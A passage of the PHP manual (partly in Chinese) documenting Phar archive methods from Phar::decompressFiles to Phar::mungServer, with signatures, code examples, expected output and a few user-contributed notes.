  • Decompresses all files in the current Phar archive

Phar::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::decompressFiles — Decompresses all files in the current Phar archive

说明

public Phar::decompressFiles(): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method decompresses all files in the Phar archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

示例

Example #1 A Phar::decompressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

以上示例会输出：

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Deletes the global metadata of the phar

  • ? Phar::decompressFiles
  • Phar::delete ?
  • PHP Manual
  • Phar
  • Deletes the global metadata of the phar

Phar::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::delMetadata — Deletes the global metadata of the phar

说明

public Phar::delMetadata(): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Deletes the global metadata of the phar

参数

返回值

returns true on success, but it is better to check for thrown exception, and assume success if none is thrown.

错误／异常

Throws PharException if errors occur while flushing changes to disk.

示例

Example #1 A Phar::delMetaData() example

<?php
try {
$phar = new Phar('myphar.phar');
var_dump($phar->getMetadata());
$phar->setMetadata("hi there");
var_dump($phar->getMetadata());
$phar->delMetadata();
var_dump($phar->getMetadata());
} catch (Exception $e) {
// handle errors
}
?>

以上示例会输出：

NULL
string(8) "hi there"
NULL

参见

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


删除 phar 档案中的一个文件

  • ? Phar::delMetadata
  • Phar::__destruct ?
  • PHP Manual
  • Phar
  • 删除 phar 档案中的一个文件

Phar::delete

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::delete — 删除 phar 档案中的一个文件

说明

public Phar::delete(string $localName): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

删除档案中的一个文件。这个方法与下面示例中调用 unlink() 处理数据流包装器的方式等价。

参数

localName

需要删除的文件在档案中的路径。

返回值

成功时返回 true，但是最好还是检查一下是否抛出了异常，如果没有抛出，可以认定操作成功。

错误／异常

如果将修改保存到磁盘时发生了错误，会抛出 PharException 异常。

示例

Example #1 Phar::delete() 示例

<?php
try {
$phar = new Phar('myphar.phar');
$phar->delete('unlink/me.php');
// this is equivalent to:
unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
// handle errors
}
?>

参见

  • PharData::delete() - Delete a file within a tar/zip archive
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory

User Contributed Notes

There are no user contributed notes for this page.


Destructs a Phar archive object

  • ? Phar::delete
  • Phar::extractTo ?
  • PHP Manual
  • Phar
  • Destructs a Phar archive object

Phar::__destruct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::__destruct — Destructs a Phar archive object

说明

public Phar::__destruct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Extract the contents of a phar archive to a directory

  • ? Phar::__destruct
  • Phar::getAlias ?
  • PHP Manual
  • Phar
  • Extract the contents of a phar archive to a directory

Phar::extractTo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::extractTo — Extract the contents of a phar archive to a directory

说明

public Phar::extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool

Extract all files within a phar archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

参数

directory

Path to extract the given files to

files

The name of a file or directory to extract, or an array of files/directories to extract, null to skip this param

overwrite

Set to true to enable overwriting existing files

返回值

returns true on success, but it is better to check for thrown exception, and assume success if none is thrown.

错误／异常

Throws PharException if errors occur while flushing changes to disk.

示例

Example #1 A Phar::extractTo() example

<?php
try {
$phar = new Phar('myphar.phar');
$phar->extractTo('/full/path'); // extract all files
$phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
$phar->extractTo('/this/path',
array('file1.txt', 'file2.txt')); // extract 2 files only
$phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
// handle errors
}
?>

注释

Note:

Windows NTFS file systems do not support some characters in filenames, namely <|>*?":. Filenames with a trailing dot are not supported either. Contrary to some extraction tools, this method does not replace these characters with an underscore, but instead fails to extract such files.

参见

  • PharData::extractTo() - Extract the contents of a tar/zip archive to a directory

User Contributed Notes

msucco at mac dot com 30-Jul-2019 08:09
On the command line (*nix) you can use the following command to extract a phar file:

$ mkdir tmp && cd $_
$ phar extract -f ../file.phar


Get the alias for Phar

  • ? Phar::extractTo
  • Phar::getMetadata ?
  • PHP Manual
  • Phar
  • Get the alias for Phar

Phar::getAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.1)

Phar::getAlias — Get the alias for Phar

说明

public Phar::getAlias(): ?string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the alias or null if there's no alias.

User Contributed Notes

There are no user contributed notes for this page.


Returns phar archive meta-data

  • ? Phar::getAlias
  • Phar::getModified ?
  • PHP Manual
  • Phar
  • Returns phar archive meta-data

Phar::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getMetadata — Returns phar archive meta-data

说明

public Phar::getMetadata(array $unserializeOptions = []): mixed

Retrieve archive meta-data. Meta-data can be any PHP variable that can be serialized.

参数

No parameters.

返回值

Any PHP value that can be serialized and is stored as meta-data for the Phar archive, or null if no meta-data is stored.

更新日志

版本 | 说明
8.0.0 | The parameter unserializeOptions has been added.

示例

Example #1 A Phar::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "hello";';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Could not modify phar:', $e;
}
?>

以上示例会输出：

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参见

  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


Return whether phar was modified

  • ? Phar::getMetadata
  • Phar::getPath ?
  • PHP Manual
  • Phar
  • Return whether phar was modified

Phar::getModified

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getModified — Return whether phar was modified

说明

public Phar::getModified(): bool

This method can be used to determine whether a phar has either had an internal file deleted, or contents of a file changed in some way.

参数

No parameters.

返回值

true if the phar has been modified since opened, false if not.

User Contributed Notes

There are no user contributed notes for this page.


Get the real path to the Phar archive on disk

  • ? Phar::getModified
  • Phar::getSignature ?
  • PHP Manual
  • Phar
  • Get the real path to the Phar archive on disk

Phar::getPath

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Phar::getPath — Get the real path to the Phar archive on disk

说明

public Phar::getPath(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

  • ? Phar::getPath
  • Phar::getStub ?
  • PHP Manual
  • Phar
  • Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

Phar::getSignature

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

说明

public Phar::getSignature(): array|false

Returns the verification signature of a phar archive in a hexadecimal string.

参数

返回值

Array with the opened archive's signature in hash key and MD5, SHA-1, SHA-256, SHA-512, or OpenSSL in hash_type. This signature is a hash calculated on the entire phar's contents, and may be used to verify the integrity of the archive. A valid signature is absolutely required of all executable phar archives if the phar.require_hash INI variable is set to true. If there is no signature, the function returns false.

User Contributed Notes

There are no user contributed notes for this page.


Return the PHP loader or bootstrap stub of a Phar archive

  • ? Phar::getSignature
  • Phar::getSupportedCompression ?
  • PHP Manual
  • Phar
  • Return the PHP loader or bootstrap stub of a Phar archive

Phar::getStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive

说明

public Phar::getStub(): string

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

参数

此函数没有参数。

返回值

Returns a string containing the contents of the bootstrap loader (stub) of the current Phar archive.

错误／异常

Throws RuntimeException if it is not possible to read the stub from the Phar archive.

示例

Example #1 A Phar::getStub() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
echo $p->getStub();
echo "==NEXT==\n";
$p->setStub("<?php
function __autoload($class)
{
include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>");
echo $p->getStub();
?>

以上示例会输出：

<?php __HALT_COMPILER(); ?>
==NEXT==
<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>

参见

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.


Return array of supported compression algorithms

  • ? Phar::getStub
  • Phar::getSupportedSignatures ?
  • PHP Manual
  • Phar
  • Return array of supported compression algorithms

Phar::getSupportedCompression

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::getSupportedCompression — Return array of supported compression algorithms

说明

final public static Phar::getSupportedCompression(): array

参数

No parameters.

返回值

Returns an array containing any of Phar::GZ or Phar::BZ2, depending on the availability of the zlib extension or the bz2 extension.

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Return array of supported signature types

  • ? Phar::getSupportedCompression
  • Phar::getVersion ?
  • PHP Manual
  • Phar
  • Return array of supported signature types

Phar::getSupportedSignatures

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.1.0)

Phar::getSupportedSignatures — Return array of supported signature types

说明

final public static Phar::getSupportedSignatures(): array

Return array of supported signature types

参数

No parameters.

返回值

Returns an array containing any of MD5, SHA-1, SHA-256, SHA-512, or OpenSSL.

参见

  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::setSignatureAlgorithm() - Set the signature algorithm for a phar and apply it

User Contributed Notes

There are no user contributed notes for this page.


Return version info of Phar archive

  • ? Phar::getSupportedSignatures
  • Phar::hasMetadata ?
  • PHP Manual
  • Phar
  • Return version info of Phar archive

Phar::getVersion

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getVersion — Return version info of Phar archive

说明

public Phar::getVersion(): string

Returns the API version of an opened Phar archive.

参数

返回值

The opened archive's API version. This is not to be confused with the API version that the loaded phar extension will use to create new phars. Each Phar archive has the API version hard-coded into its manifest. See Phar file format documentation for more information.

参见

  • Phar::apiVersion() - Returns the api version

User Contributed Notes

There are no user contributed notes for this page.


Returns whether phar has global meta-data

  • ? Phar::getVersion
  • Phar::interceptFileFuncs ?
  • PHP Manual
  • Phar
  • Returns whether phar has global meta-data

Phar::hasMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::hasMetadata — Returns whether phar has global meta-data

说明

public Phar::hasMetadata(): bool

Returns whether phar has global meta-data set.

参数

No parameters.

返回值

Returns true if meta-data has been set, and false if not.

示例

Example #1 A Phar::hasMetadata() example

<?php
try {
$phar = new Phar('myphar.phar');
var_dump($phar->hasMetadata());
$phar->setMetadata(array('thing' => 'hi'));
var_dump($phar->hasMetadata());
$phar->delMetadata();
var_dump($phar->hasMetadata());
} catch (Exception $e) {
// handle error
}
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)

参见

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.


Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

  • ? Phar::hasMetadata
  • Phar::isBuffering ?
  • PHP Manual
  • Phar
  • Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

Phar::interceptFileFuncs

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::interceptFileFuncs — Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

说明

final public static Phar::interceptFileFuncs(): void

instructs phar to intercept fopen(), readfile(), file_get_contents(), opendir(), and all of the stat-related functions. If any of these functions is called from within a phar archive with a relative path, the call is modified to access a file within the phar archive. Absolute paths are assumed to be attempts to load external files from the filesystem.

This function makes it possible to run PHP applications designed to run off of a hard disk as a phar application.

参数

No parameters.

返回值

示例

Example #1 A Phar::interceptFileFuncs() example

<?php
Phar::interceptFileFuncs();
include 'phar://' . __FILE__ . '/file.php';
?>

Assuming that this phar is at /path/to/myphar.phar and it contains file.php and file2.txt, if file.php contains this code:

Example #2 A Phar::interceptFileFuncs() example

<?php
echo file_get_contents('file2.txt');
?>

Normally PHP would search the current directory for file2.txt, which would translate as the directory of file.php, or the current directory of a command-line user. Phar::interceptFileFuncs() instructs PHP to consider the current directory to be phar:///path/to/myphar.phar/ and so opens phar:///path/to/myphar.phar/file2.txt in the above example code.

User Contributed Notes

There are no user contributed notes for this page.


Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

  • ? Phar::interceptFileFuncs
  • Phar::isCompressed ?
  • PHP Manual
  • Phar
  • Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

Phar::isBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

说明

public Phar::isBuffering(): bool

This method can be used to determine whether a Phar will save changes to disk immediately, or whether a call to Phar::stopBuffering() is needed to enable saving changes.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

参数

此函数没有参数。

返回值

Returns true if the write operations are being buffer, false otherwise.

示例

Example #1 A Phar::isBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p2 = new Phar('existingphar.phar');
$p['file1.txt'] = 'hi';
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>
=2=
<?php
$p->startBuffering();
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
$p->stopBuffering();
?>
=3=
<?php
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>

以上示例会输出：

bool(false)
bool(false)
=2=
bool(true)
bool(false)
=3=
bool(false)
bool(false)

参见

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk

User Contributed Notes

There are no user contributed notes for this page.


Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

  • ? Phar::isBuffering
  • Phar::isFileFormat ?
  • PHP Manual
  • Phar
  • Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

Phar::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

说明

public Phar::isCompressed(): int|false

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on). Zip-based phar archives cannot be compressed as a file, and so this method will always return false if a zip-based phar archive is queried.

参数

No parameters.

返回值

Phar::GZ, Phar::BZ2 or false.

示例

Example #1 A Phar::isCompressed() example

<?php
try {
$phar1 = new Phar('myphar.zip.phar');
var_dump($phar1->isCompressed());
$phar2 = new Phar('myuncompressed.tar.phar');
var_dump($phar2->isCompressed());
$phar2->compress(Phar::GZ);
var_dump($phar2->isCompressed() == Phar::GZ);
} catch (Exception $e) {
}
?>

以上示例会输出：

bool(false)
bool(false)
bool(true)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

  • ? Phar::isCompressed
  • Phar::isValidPharFilename ?
  • PHP Manual
  • Phar
  • Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

Phar::isFileFormat

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

说明

public Phar::isFileFormat(int $format): bool

参数

format

Either Phar::PHAR, Phar::TAR, or Phar::ZIP to test for the format of the archive.

返回值

Returns true if the phar archive matches the file format requested by the parameter

错误／异常

PharException is thrown if the parameter is an unknown file format specifier.

参见

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the given filename is a valid phar filename

  • ? Phar::isFileFormat
  • Phar::isWritable ?
  • PHP Manual
  • Phar
  • Returns whether the given filename is a valid phar filename

Phar::isValidPharFilename

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename

说明

final public static Phar::isValidPharFilename(string $filename, bool $executable = true): bool

Returns whether the given filename is a valid phar filename that will be recognized as a phar archive by the phar extension. This can be used to test a name without having to instantiate a phar archive and catch the inevitable Exception that will be thrown if an invalid name is specified.

参数

filename

The name or full path to a phar archive not yet created

executable

This parameter determines whether the filename should be treated as a phar executable archive, or a data non-executable archive

返回值

Returns true if the filename is valid, false if not.

User Contributed Notes

sebastian dot krebs dot berlin at googlemail dot com 09-Oct-2011 12:54
Note, that this method accepts _everything_ (=> returns 'true'), when $executable is 'false' as long as the filename contains at least a dot

var_dump(\PharData::isValidPharFilename('randomstring.y', false));
bool(true)

This is not wrong at all, because I can name an archive like I want, but it makes the method completely useless (when $executable == false).


Returns true if the phar archive can be modified

  • ? Phar::isValidPharFilename
  • Phar::loadPhar ?
  • PHP Manual
  • Phar
  • Returns true if the phar archive can be modified

Phar::isWritable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isWritable — Returns true if the phar archive can be modified

说明

public Phar::isWritable(): bool

This method returns true if phar.readonly is 0, and the actual phar archive on disk is not read-only.

参数

No parameters.

返回值

Returns true if the phar archive can be modified

参见

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • PharData::isWritable() - Returns true if the tar/zip archive can be modified

User Contributed Notes

kristof dot coomans at telenet dot be 23-Apr-2009 06:08
It might be not expected, but this function will return true if the file does not exist yet even if the directory is read-only. Tested on PHP 5.3.0 RC 1.

I have buffering on and when I call stopBuffering() then the "failed to open stream: Permission denied" PharException will be thrown.


Loads any phar archive with an alias

  • ? Phar::isWritable
  • Phar::mapPhar ?
  • PHP Manual
  • Phar
  • Loads any phar archive with an alias

Phar::loadPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::loadPhar — Loads any phar archive with an alias

说明

final public static Phar::loadPhar(string $filename, ?string $alias = null): bool

This can be used to read the contents of an external Phar archive. This is most useful for assigning an alias to a phar so that subsequent references to the phar can use the shorter alias, or for loading Phar archives that only contain data and are not intended for execution/inclusion in PHP scripts.

参数

filename

the full or relative path to the phar archive to open

alias

The alias that may be used to refer to the phar archive. Note that many phar archives specify an explicit alias inside the phar archive, and a PharException will be thrown if a new alias is specified in this case.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

PharException is thrown if an alias is passed in and the phar archive already has an explicit alias

示例

Example #1 A Phar::loadPhar() example

Phar::loadPhar can be used anywhere to load an external Phar archive, whereas Phar::mapPhar should be used in a loader stub for a Phar.

<?php
try {
Phar::loadPhar('/path/to/phar.phar', 'my.phar');
echo file_get_contents('phar://my.phar/file.txt');
} catch (PharException $e) {
echo $e;
}
?>

参见

  • Phar::mapPhar() - Reads the currently executed file (a phar) and registers its manifest

User Contributed Notes

There are no user contributed notes for this page.


Reads the currently executed file (a phar) and registers its manifest

  • ? Phar::loadPhar
  • Phar::mount ?
  • PHP Manual
  • Phar
  • Reads the currently executed file (a phar) and registers its manifest

Phar::mapPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest

说明

final public static Phar::mapPhar(?string $alias = null, int $offset = 0): bool

This static method can only be used inside a Phar archive's loader stub in order to initialize the phar when it is directly executed, or when it is included in another script.

参数

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

offset

Unused variable, here for compatibility with PEAR's PHP_Archive.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

PharException is thrown if not called directly within PHP execution, if no __HALT_COMPILER(); token is found in the current source file, or if the file cannot be opened for reading.

示例

Example #1 A Phar::mapPhar() example

mapPhar should be used only inside a phar's loader stub. Use loadPhar to load an external phar into memory.

Here is a sample Phar loader stub that uses mapPhar.

<?php
function __autoload($class)
{
include 'phar://me.phar/' . str_replace('_', '/', $class) . '.php';
}
try {
Phar::mapPhar('me.phar');
include 'phar://me.phar/startup.php';
} catch (PharException $e) {
echo $e->getMessage();
die('Cannot initialize Phar');
}
__HALT_COMPILER();

参见

  • Phar::loadPhar() - Loads any phar archive with an alias

User Contributed Notes

phofstetter at sensational dot ch 03-Oct-2013 02:52
Be careful with mapPhar and opcode caches like opcache: They might cache files included by the symbolic name based on the symbolic name you give.

This becomes a problem when a server is hosting multiple different versions of a phar file all using the same symbolic name because then subsequent include()'s in the phar file might load an already cached file from another version of the phar file.

Instead, generate a unique name and use that in mapPhar and in subsequent include()'s

See for example https://github.com/zendtech/ZendOptimizerPlus/issues/115#issuecomment-25612769 for the issue in the opcache module.


Mount an external path or file to a virtual location within the phar archive

  • ? Phar::mapPhar
  • Phar::mungServer ?
  • PHP Manual
  • Phar
  • Mount an external path or file to a virtual location within the phar archive

Phar::mount

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::mount — Mount an external path or file to a virtual location within the phar archive

说明

final public static Phar::mount(string $pharPath, string $externalPath): void

Much like the unix file system concept of mounting external devices to paths within the directory tree, Phar::mount() allows referring to external files and directories as if they were inside of an archive. This allows powerful abstraction such as referring to external configuration files as if they were inside the archive.

参数

pharPath

The internal path within the phar archive to use as the mounted path location. This must be a relative path within the phar archive, and must not already exist.

externalPath

A path or URL to an external file or directory to mount within the phar archive

返回值

No return. PharException is thrown on failure.

错误／异常

Throws PharException if any problems occur mounting the path.

示例

Example #1 A Phar::mount() example

The following example shows accessing an external configuration file as if it were a path within a phar archive.

First, the code inside of a phar archive:

<?php
$configuration = simplexml_load_string(file_get_contents(
Phar::running(false) . '/config.xml'));
?>

Next the external code used to mount the configuration file:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
Phar::mount('phar://config.xml', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

Another method is to put the mounting code inside the stub of the phar archive. Here is an example of setting up a default configuration file if no user configuration is specified:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
if (defined('EXTERNAL_CONFIG')) {
Phar::mount('config.xml', EXTERNAL_CONFIG);
if (file_exists(__DIR__ . '/extra_config.xml')) {
Phar::mount('extra.xml', __DIR__ . '/extra_config.xml');
}
} else {
Phar::mount('config.xml', 'phar://' . __FILE__ . '/default_config.xml');
Phar::mount('extra.xml', 'phar://' . __FILE__ . '/default_extra.xml');
}
// now run the application
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
?>

...and the code externally to load this phar archive:

<?php
define('EXTERNAL_CONFIG', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

User Contributed Notes

espendiller at gmx dot de 09-Jun-2010 03:20
i tested phar to generate a one file drupal installation.
as every cms, drupal put all uploaded files in a seperate folder (i.e. /sites).

i think the mount options here expected a file, i didnt get it to work on mounting a folder. is there any possibility to do that?

to generate a phar out of drupal7 with sqlite database

build.php
$phar = new Phar('drupal7.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/drupal-7.0-alpha5');
$phar->setStub("<?php
Phar::interceptFileFuncs();
Phar::mount('sites/default/settings.php', __DIR__ . '/sites/default/settings.php');
Phar::mount('database.db', __DIR__ . '/database.db');
Phar::webPhar();
__HALT_COMPILER(); ?>"
);

to call the phar iam using a .htacces file:
RewriteCond %{REQUEST_URI} !^/drupal.phar/
RewriteCond %{REQUEST_URI} !build.php
RewriteRule ^(.*)$ /drupal.phar/$1


Defines a list of up to 4 $_SERVER variables that should be modified for execution

  • ? Phar::mount
  • Phar::offsetExists ?
  • PHP Manual
  • Phar
  • Defines a list of up to 4 $_SERVER variables that should be modified for execution

Phar::mungServer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution

说明

final public static Phar::mungServer(array $variables): void

Phar::mungServer() should only be called within the stub of a phar archive.

Defines a list of up to 4 $_SERVER variables that should be modified for execution. Variables that can be modified to remove traces of phar execution are REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME.

On its own, this method does nothing. Only when combined with Phar::webPhar() does it take effect, and only when the requested file is a PHP file to be parsed. Note that the PATH_INFO and PATH_TRANSLATED variables are always modified.

